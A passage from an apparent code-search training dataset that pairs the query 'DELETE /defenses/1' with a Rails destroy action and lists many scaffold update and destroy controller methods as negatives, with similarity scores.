"def update\n respond_to do |format|\n if @expense_owner.update(expense_owner_params)\n format.html { redirect_to @expense_owner, notice: 'Expense owner was successfully updated.' }\n format.json { render :show, status: :ok, location: @expense_owner }\n else\n format.html { render :edit }\n format.json { render json: @expense_owner.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @fact.update(fact_params)\n format.html { redirect_to @fact, notice: 'Fact was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @fact.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @person_expense_record = PersonExpenseRecord.find(params[:id])\n\n if @person_expense_record.update(person_expense_record_params)\n head :no_content\n else\n render json: @person_expense_record.errors, status: :unprocessable_entity\n end\n end",
"def update\n @admin_expense_type = Admin::ExpenseType.find(params[:id])\n\n respond_to do |format|\n if @admin_expense_type.update_attributes(params[:admin_expense_type])\n format.html { redirect_to admin_expense_types_url }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @admin_expense_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_api_v1_expense\n @api_v1_expense = Api::V1::Expense.find(params[:id])\n end",
"def update\n @factoid = Factoid.find(params[:id])\n\n respond_to do |format|\n if @factoid.update_attributes(params[:factoid])\n format.html { redirect_to @factoid, notice: 'Factoid was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @factoid.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @fixed_expense = FixedExpense.for_user(current_user).find(params[:id])\n\n respond_to do |format|\n if @fixed_expense.update_attributes(params[:fixed_expense])\n flash[:notice] = 'FixedExpense was successfully updated.'\n format.html { redirect_to(fixed_expenses_path) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @fixed_expense.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @api_v1_initiative.update(api_v1_initiative_params)\n format.html { redirect_to @api_v1_initiative, notice: 'Initiative was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_initiative }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_initiative.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @food.update(food_params)\n format.html { redirect_to @food, notice: 'Food was successfully updated.' }\n format.json { render :show, status: :ok, location: @food }\n else\n format.html { render :edit }\n format.json { render json: @food.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @fast_food.update(fast_food_params)\n format.html { redirect_to @fast_food, notice: 'Fast food was successfully updated.' }\n format.json { render :show, status: :ok, location: @fast_food }\n else\n format.html { render :edit }\n format.json { render json: @fast_food.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @docs_ponto.update(docs_ponto_params)\n format.html { redirect_to :back }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @docs_ponto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @livingexpense = Livingexpense.find(params[:id])\n\n respond_to do |format|\n if @livingexpense.update_attributes(params[:livingexpense])\n format.html { redirect_to @livingexpense, notice: 'Livingexpense was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @livingexpense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch\n headers = {\"If-Match\" => @version}\n response = @context.request :patch, \"#{@path}/#{@id}\", @data.to_json, headers\n @version += 1\n response\n # 'X-HTTP-Method-Override' => 'PATCH'\n end",
"def update\n @defect = Defect.find(params[:id])\n\n respond_to do |format|\n if @defect.update_attributes(params[:defect])\n flash[:notice] = 'Defect was successfully updated.'\n format.html { redirect_to(@defect) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @defect.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @operating_expense = OperatingExpense.find(params[:id])\n\n respond_to do |format|\n if @operating_expense.update_attributes(params[:operating_expense])\n format.html { redirect_to(@operating_expense, :notice => 'Operating expense was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @operating_expense.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @star_fact = Star::Fact.find(params[:id])\n\n respond_to do |format|\n if @star_fact.update_attributes(params[:star_fact])\n format.html { redirect_to @star_fact, notice: 'Fact was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @star_fact.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch!\n request! :patch\n end",
"def update\n authorize @expense_report\n\n\n @expense_report.actual_expenses.each do |exp|\n exp.requests.each do |req|\n req.amount_from_total = req.percentrequested * exp.total\n req.destination = @expense_report.trip.destination\n req.expense_type = 'actual'\n end\n end\n\n\n respond_to do |format|\n if @expense_report.update(expense_report_params)\n format.html { redirect_to @expense_report, notice: 'Expense report was successfully updated.' }\n format.json { render :show, status: :ok, location: @expense_report }\n else\n format.html { render :edit }\n format.json { render json: @expense_report.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @shared_expense.update(shared_expense_params)\n format.html { redirect_to @shared_expense, notice: 'Shared expense was successfully updated.' }\n format.json { render :show, status: :ok, location: @shared_expense }\n else\n format.html { render :edit }\n format.json { render json: @shared_expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n @definition = Definition.find(params[:id])\n\n respond_to do |format|\n\n if @definition.update_attributes(params[:definition])\n\n flash[:notice] = 'Definition was successfully updated.'\n format.html { redirect_to(@definition) }\n format.xml { head :ok }\n format.json { head :ok }\n\n else\n\n format.html {\n render(:action => 'edit')\n }\n format.xml {\n render(:xml => @definition.errors, :status => :unprocessable_entity)\n }\n format.json {\n render(:json => @definition.errors, :status => :unprocessable_entity)\n }\n end\n end\n end",
"def update\n @expense = Expense.find(params[:id])\n\n respond_to do |format|\n if @expense.update_attributes(params[:expense])\n format.html { redirect_to [@expense.statement.account, @expense.statement], notice: 'Statement expense was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @definition.update(definition_params)\n format.html { redirect_to @definition.dictionary || @definition, notice: 'Definition was successfully updated.' }\n format.json { render :show, status: :ok, location: @definition }\n else\n format.html { render :edit }\n format.json { render json: @definition.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @housing_expense = HousingExpense.find(params[:id])\n\n respond_to do |format|\n if @housing_expense.update_attributes(params[:housing_expense])\n flash[:notice] = 'HousingExpense was successfully updated.'\n format.html { redirect_to housing_expense_url(@housing_expense) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @housing_expense.errors.to_xml }\n end\n end\n end",
"def update\n @fact = Fact.find(fact_params)\n\n respond_to do |format|\n if @fact.update_attributes(fact_params)\n format.html { redirect_to @fact, notice: 'Fact was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @fact.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @defect_type.update(defect_type_params)\n format.html { redirect_to @defect_type, notice: 'Defect type was successfully updated.' }\n format.json { render :show, status: :ok, location: @defect_type }\n else\n format.html { render :edit }\n format.json { render json: @defect_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @defense_response.update(defense_response_params)\n format.html { redirect_to @defense_response, notice: 'Defense response was successfully updated.' }\n format.json { render :show, status: :ok, location: @defense_response }\n else\n format.html { render :edit }\n format.json { render json: @defense_response.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @name_expense.update(name_expense_params)\n format.html { redirect_to @name_expense, notice: 'Name expense was successfully updated.' }\n format.json { render :show, status: :ok, location: @name_expense }\n else\n format.html { render :edit }\n format.json { render json: @name_expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @diet.update(diet_params)\n head :no_content, status: 204\n else\n render json: @diet.errors, status: 422\n end\n end",
"def update\n respond_to do |format|\n if @confection.update(confection_params)\n format.html { redirect_to @confection, notice: 'Confection was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @confection.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @appraisal_fee.update(appraisal_fee_params)\n format.html { redirect_to appraisal_fees_path, notice: 'Appraisal fee was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @appraisal_fee.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @feeling = Feeling.find(params[:id])\n\n respond_to do |format|\n if @feeling.update_attributes(params[:feeling])\n format.html { redirect_to @feeling, notice: 'Feeling was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @feeling.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @food_recipe = FoodRecipe.find(params[:id])\n\n respond_to do |format|\n if @food_recipe.update_attributes(params[:food_recipe])\n format.html { redirect_to @food_recipe, notice: 'Food recipe was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @food_recipe.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n # if food is passed, won't check it again.\n if @food.state == 1\n state = 1 \n else\n state = 0\n end\n\n if @food.update(food_params.merge state: state) # 1 means valid\n format.html { redirect_to @food, notice: 'Food was successfully updated.' }\n format.json { render :show, status: :ok, location: @food }\n else\n format.html { render :edit }\n format.json { render json: @food.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @api_v1_initiative_update.update(api_v1_initiative_update_params)\n format.html { redirect_to @api_v1_initiative_update, notice: 'Initiative update was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_initiative_update }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_initiative_update.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n \n @expense = Expense.find(params[:id])\n \n if params[:expense][:item_id].present?\n @expense.categorie_id = Item.find(params[:expense][:item_id]).categorie_id\n end\n if params[:activite_id].present?\n @expense.activite_id = params[:activite_id]\n end\n \n respond_to do |format|\n if @expense.update_attributes(params[:expense])\n format.html { redirect_to(@expense, :notice => 'Expense was successfully updated.') }\n format.xml { head :ok }\n format.json { render :json => { :success => true, :message => \"Updated Expense #{@expense.id}\", :data => @expense.attributes.merge(:total_ht => @expense.total, :total_ttc => @expense.total_ttc, :activite_name => @expense.activite.try(:description))}} \n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @expense.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n resource.update(deposit_contract_params)\n respond_with client, resource\n end",
"def update\n @flat_happening = FlatHappening.find(params[:id])\n\n if @flat_happening.update_attributes(params[:flat_happening])\n head :no_content\n else\n render json: @flat_happening.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @table_def.update(table_def_params)\n format.html { redirect_to @table_def, notice: t('.update_ok') }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @table_def.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @recipes_food.update(recipes_food_params)\n format.html { redirect_to @recipes_food, notice: 'Recipes food was successfully updated.' }\n format.json { render :show, status: :ok, location: @recipes_food }\n else\n format.html { render :edit }\n format.json { render json: @recipes_food.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @diet.nil?\n send_error_json(nil, \"Param 'diet' missing\", 400)\n return\n end\n\n if !check_owner()\n send_error_json(@diet.id, 'Unauthorized', 403)\n return\n end\n\n fav = true\n if params['diet'].nil? || params['diet']['favourite'].nil? || params['diet']['favourite']=='false'\n fav = false\n end\n update_hash = {:favourite => fav}\n if params['diet'] && params['diet']['amount']\n update_hash[:amount] = params['diet']['amount'].to_f\n end\n if params['diet'] && params['diet']['food_type_name']\n ft = FoodType.where(name: params['diet']['food_type_name']).first\n if !ft.nil?\n amount = @diet.amount\n if !update_hash[:amount].nil?\n amount = update_hash[:amount].to_f\n end\n update_hash[:food_type_id] = ft.id\n update_hash[:name] = ft.name\n # update_hash[:calories] = amount*ft.kcal\n # update_hash[:carbs] = amount*ft.carb\n # update_hash[:fat] = amount*ft.fat\n # update_hash[:prot] = amount*ft.prot\n else\n send_error_json(@diet.id, \"Invalid food type\", 400)\n return\n end\n\n end\n\n if @diet.update_attributes(update_hash)\n send_success_json(@diet.id, { diet_name: @diet.diet_name})\n else\n send_error_json(@diet.id, @diet.errors.full_messages.to_sentence, 400)\n end\n\n end",
"def update\n @expense = Expense.for_user(current_user).find(params[:id])\n\n respond_to do |format|\n if @expense.update_attributes(params[:expense])\n flash[:notice] = 'Expense was successfully updated.'\n format.html { redirect_to(expenses_path) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @expense.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n\n params[:refill_type] = params[:refill_type].to_i\n params[:status] = params[:status].to_i\n params[:cost_basis] = params[:cost_basis].to_i\n params[:other_coverage_code] = params[:other_coverage_code].to_i\n params[:reason_for_delay] = params[:reason_for_delay].to_i\n params[:partial_fill_status] = params[:partial_fill_status].to_i\n params[:reported_to_pmp] = params[:reported_to_pmp].to_i\n\n respond_to do |format|\n if @dispense.update(dispense_params)\n format.html { redirect_to @dispense, notice: 'Dispense was successfully updated.' }\n format.json { render :show, status: :ok, location: @dispense }\n else\n format.html { render :edit }\n format.json { render json: @dispense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @food.update(food_params)\n respond_with @food, location: -> { kitchen_board_path }\n end",
"def update\n @import_def = ImportDef.find(params[:id])\n\n respond_to do |format|\n if @import_def.update_attributes(params[:import_def])\n format.html { redirect_to @import_def, notice: 'Import def was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @import_def.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @favourite_food = FavouriteFood.find(params[:id])\n\n respond_to do |format|\n if @favourite_food.update_attributes(params[:favourite_food])\n format.html { redirect_to @favourite_food, notice: 'Favourite food was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @favourite_food.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n recipe.update(recipe_params)\n render json: recipe\n end",
"def update\n respond_to do |format|\n if @chef.update(chef_params)\n format.html { redirect_to [:admin, @chef], notice: t('messages.updated', model:Chef.model_name.human) }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @chef.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @record_expense.update(record_expense_params)\n format.html { redirect_to @record_expense, notice: 'Record expense was successfully updated.' }\n format.json { render :show, status: :ok, location: @record_expense }\n else\n format.html { render :edit }\n format.json { render json: @record_expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @fee = Fee.find(params[:id])\n\n respond_to do |format|\n if @fee.update_attributes(params[:fee])\n format.html { redirect_to fees_path, notice: 'Fee was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @fee.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @finance_document = FinanceDocument.find(params[:id])\n\n if @finance_document.update(finance_document_params)\n audit(@finance_document, current_user)\n head :no_content\n else\n render json: @finance_document.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @bid_expense.update(bid_expense_params)\n format.html { redirect_to bid_expenses_path, notice: 'Bid expense was successfully updated.' }\n format.json { render :show, status: :ok, location: @bid_expense }\n else\n format.html { render :edit }\n format.json { render json: @bid_expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @fulcliente = Fulcliente.find(params[:id])\n\n respond_to do |format|\n if @fulcliente.update_attributes(params[:fulcliente])\n format.html { redirect_to @fulcliente, notice: 'Fulcliente was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @fulcliente.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @expenditure = Expenditure.find(params[:id])\n\n respond_to do |format|\n if @expenditure.update_attributes(params[:expenditure])\n format.html { redirect_to @expenditure, notice: 'Expenditure was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @expenditure.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @kickoff = Kickoff.find(params[:id])\n\n respond_to do |format|\n if @kickoff.update_attributes(params[:kickoff])\n format.html { redirect_to @kickoff, notice: 'Kickoff was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @kickoff.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n budgets = update_budgets(params[:budgets])\n\n render json: budgets, status: :ok\n end",
"def update\n respond_to do |format|\n if @pet_true.update(pet_true_params)\n format.html { redirect_to @pet_true, notice: 'Pet true was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @pet_true.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @familiar = Familiar.find(params[:id])\n\n respond_to do |format|\n if @familiar.update_attributes(params[:familiar])\n format.html { redirect_to @familiar, notice: 'Familiar was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @familiar.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.68470395",
"0.68042976",
"0.66526896",
"0.66416186",
"0.6534707",
"0.6479547",
"0.6440812",
"0.64405686",
"0.6436137",
"0.6436137",
"0.63496983",
"0.6298905",
"0.629658",
"0.6258257",
"0.6257082",
"0.6252634",
"0.62386525",
"0.62386525",
"0.62386525",
"0.622639",
"0.62139595",
"0.62036026",
"0.62036026",
"0.61825114",
"0.6142755",
"0.61147976",
"0.6105944",
"0.6101659",
"0.60973024",
"0.60942185",
"0.6092539",
"0.6065308",
"0.60646456",
"0.60646456",
"0.60620475",
"0.60454357",
"0.6040838",
"0.60329705",
"0.6028328",
"0.60020876",
"0.600007",
"0.5992498",
"0.5992067",
"0.59889346",
"0.5970005",
"0.5968958",
"0.5965248",
"0.59603006",
"0.5946686",
"0.5943009",
"0.5940823",
"0.59317786",
"0.5927629",
"0.5919878",
"0.5919598",
"0.59138346",
"0.59107935",
"0.59101737",
"0.59083736",
"0.58973265",
"0.5866899",
"0.586332",
"0.5863186",
"0.5861969",
"0.5858511",
"0.5856811",
"0.585528",
"0.5853374",
"0.5852736",
"0.58423036",
"0.5838851",
"0.58359885",
"0.5835843",
"0.5825612",
"0.5823431",
"0.5822418",
"0.58220357",
"0.5820241",
"0.5818842",
"0.5815871",
"0.58143526",
"0.58129716",
"0.5812625",
"0.5811183",
"0.5807614",
"0.58044523",
"0.58005005",
"0.5797442",
"0.5796052",
"0.5794154",
"0.5793668",
"0.57889736",
"0.57881284",
"0.57838446",
"0.5783296",
"0.5777949",
"0.57779336",
"0.5772279",
"0.5770793",
"0.57691485"
] |
0.6282999
|
13
|
DELETE /defenses/1 DELETE /defenses/1.json
|
def destroy
@defense.destroy
respond_to do |format|
format.html { redirect_to defenses_url, notice: 'Defense was successfully destroyed.' }
format.json { head :no_content }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy\n @api_v1_expense.destroy\n respond_to do |format|\n format.html { redirect_to api_v1_expenses_url, notice: 'Expense was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @expense.destroy\n respond_to do |format|\n format.html { redirect_to expenses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @expense.destroy\n respond_to do |format|\n format.html { redirect_to expenses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @expense.destroy\n\n respond_to do |format|\n format.html { redirect_to expenses_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @expense = Expense.find(params[:id])\n @expense.destroy\n\n respond_to do |format|\n format.html { redirect_to expenses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @expense = Expense.find(params[:id])\n @expense.destroy\n\n respond_to do |format|\n format.html { redirect_to expenses_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @expense = Expense.find(params[:id])\n @expense.destroy\n\n respond_to do |format|\n format.html { redirect_to expenses_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @dog_expense.destroy\n respond_to do |format|\n format.html { redirect_to dog_expenses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @offense.destroy\n respond_to do |format|\n format.html { redirect_to offenses_url, notice: 'Offense was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @expense = Expense.find params.fetch(:id)\n @expense.destroy\n head :no_content\n end",
"def destroy\n @livingexpense = Livingexpense.find(params[:id])\n @livingexpense.destroy\n\n respond_to do |format|\n format.html { redirect_to livingexpenses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @expense = current_user.organization.expenses.find(params[:id])\n @expense.destroy\n\n respond_to do |format|\n format.html { redirect_to expenses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @expensesbasis.destroy\n respond_to do |format|\n format.html { redirect_to [@post, @expensesbasis], notice: 'Expensesbase was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n respond_with @expense.destroy, status: 204\n end",
"def destroy\n\n @expense.destroy\n \n respond_to do |format|\n format.html { redirect_to expenses_url, notice: 'Expense was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @expense.destroy\n respond_to do |format|\n format.html { redirect_to expenses_url, notice: 'Expense was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @expense.destroy\n respond_to do |format|\n format.html { redirect_to expenses_url, notice: 'Expense was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @expense.destroy\n respond_to do |format|\n format.html { redirect_to expenses_url, notice: 'Expense was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @expense.destroy\n respond_to do |format|\n format.html { redirect_to expenses_url, notice: 'Expense was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @expense.destroy\n respond_to do |format|\n format.html { redirect_to expenses_url, notice: 'Expense was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @expense.destroy\n respond_to do |format|\n format.html { redirect_to expenses_url, notice: 'Expense was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @depense.destroy\n respond_to do |format|\n format.html { redirect_to depenses_url, notice: 'Depense was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @name_expense.destroy\n respond_to do |format|\n format.html { redirect_to name_expenses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @expense = Expense.find(params[:id])\n @expense.destroy\n\n respond_to do |format|\n format.html { redirect_to(expenses_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @expense = Expense.find(params[:id])\n @expense.destroy\n\n respond_to do |format|\n format.html { redirect_to(expenses_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @expense.destroy\n respond_to do |format|\n format.html {redirect_to expenses_url, notice: 'Expense was successfully destroyed.'}\n format.json {head :no_content}\n end\n end",
"def destroy\n @expense_type.destroy\n respond_to do |format|\n format.html { redirect_to expense_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @solideo_depense.destroy\n respond_to do |format|\n format.html { redirect_to solideo_depenses_url, notice: 'Solideo depense was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @definition = Definition.find(params[:id])\n @definition.destroy\n\n respond_to do |format|\n format.html { redirect_to definitions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @definition = Definition.find(params[:id])\n @definition.destroy\n\n respond_to do |format|\n format.html { redirect_to definitions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @rec_expense.destroy\n respond_to do |format|\n format.html { redirect_to rec_expenses_url, notice: 'Rec expense was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @admin_expense_type = Admin::ExpenseType.find(params[:id])\n @admin_expense_type.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_expense_types_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @expense = Expense.find(params[:id])\n @expense.destroy\n\n respond_to do |format|\n format.html { redirect_to account_statement_url(params[:account_id],params[:statement_id]) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @expense = Expense.find(params[:id])\n @expense.destroy\n\n respond_to do |format|\n format.html\n format.json { render head :ok }\n format.js { render :nothing => true }\n end\n end",
"def destroy\n\n @definition = Definition.find(params[:id])\n @definition.destroy\n\n respond_to do |format|\n format.html { redirect_to(definitions_url) }\n format.xml { head :ok }\n format.json { head :ok }\n end\n end",
"def destroy\n @food = Food.find(params[:id])\n @food.destroy\n\n respond_to do |format|\n format.html { redirect_to foods_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @food = Food.find(params[:id])\n @food.destroy\n\n respond_to do |format|\n format.html { redirect_to foods_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @housing_expense = HousingExpense.find(params[:id])\n @housing_expense.destroy\n\n respond_to do |format|\n format.html { redirect_to housing_expenses_url }\n format.xml { head :ok }\n end\n end",
"def destroy\n @operating_expense = OperatingExpense.find(params[:id])\n @operating_expense.destroy\n\n respond_to do |format|\n format.html { redirect_to(operating_expenses_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @dispense.destroy\n respond_to do |format|\n format.html { redirect_to dispenses_url, notice: 'Dispense was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @expense.destroy\n\n respond_to do |format|\n format.html { redirect_to(expenses_url) }\n format.xml { head :ok }\n format.js\n format.iphone { redirect_to(@bucket) }\n end\n end",
"def destroy\n expense = Expense.destroy(params[\"id\"])\n\n if expense\n render json: {\n status: \"SUCCESS\",\n message: \"Expense deleted\",\n }, status: :ok\n else\n render json: {\n status: \"ERROR\",\n message: \"Invalid id\",\n }, status: 400\n end\n end",
"def destroy\n @farmexpense = Farmexpense.find(params[:id])\n @farmexpense.destroy\n\n respond_to do |format|\n format.html { redirect_to(farmexpenses_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @etat_depense.destroy\n respond_to do |format|\n format.html { redirect_to etat_depenses_url, notice: 'Etat depense was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @expenses_file.destroy\n respond_to do |format|\n format.html { redirect_to expenses_files_url, notice: 'Expenses file was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @expense = Expense.find(params[:id])\n @expense_id = @expense.id\n @expense.destroy\n\n respond_to do |format|\n format.json { head :ok }\n format.js\n end\n end",
"def destroy\n @defset.destroy\n respond_to do |format|\n format.html { redirect_to defsets_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @expense.destroy\n respond_to do |format|\n format.html { redirect_to :back, notice: 'Expense was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete\n render json: Alien.delete(params[\"id\"])\n end",
"def destroy\n @definition.destroy\n respond_to do |format|\n format.html { redirect_to definitions_url, notice: 'Definition was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @definition.destroy\n respond_to do |format|\n format.html { redirect_to definitions_url, notice: \"Definition was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @shared_expense.destroy\n respond_to do |format|\n format.html { redirect_to shared_expenses_url, notice: 'Shared expense was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @expense_claim.destroy\n respond_to do |format|\n format.html { redirect_to expense_claims_url, notice: 'Expense claim was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n @expense = current_user.expenses.find(params[:id])\n @expense.destroy\n\n respond_to do |format|\n flash[:success] = t('activerecord.flash.deleted')\n format.html { redirect_to :back }\n format.xml { head :ok }\n end\n end",
"def destroy\n @fixed_expense = FixedExpense.for_user(current_user).find(params[:id])\n @fixed_expense.destroy\n\n respond_to do |format|\n format.html { redirect_to(fixed_expenses_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @food_expenditure.destroy\n respond_to do |format|\n format.html { redirect_to food_expenditures_url, notice: 'FoodExpenditure was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @expense_owner.destroy\n respond_to do |format|\n format.html { redirect_to expense_owners_url, notice: 'Expense owner was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @round_expense = RoundExpense.find(params[:id])\n @round_expense.destroy\n\n respond_to do |format|\n format.html { redirect_to(round_expenses_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @marketing_expense.destroy\n respond_to do |format|\n format.html { redirect_to marketing_expenses_url, notice: 'Marketing expense was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @fullassessment.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @expense_state = ExpenseState.find(params[:id])\n @expense_state.destroy\n\n respond_to do |format|\n format.html { redirect_to expense_states_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @lincense.destroy\n respond_to do |format|\n format.html { redirect_to lincenses_url, notice: 'Licensia fue exitosamente destruida.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @record_expense.destroy\n respond_to do |format|\n format.html { redirect_to record_expenses_url, notice: 'Record expense was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
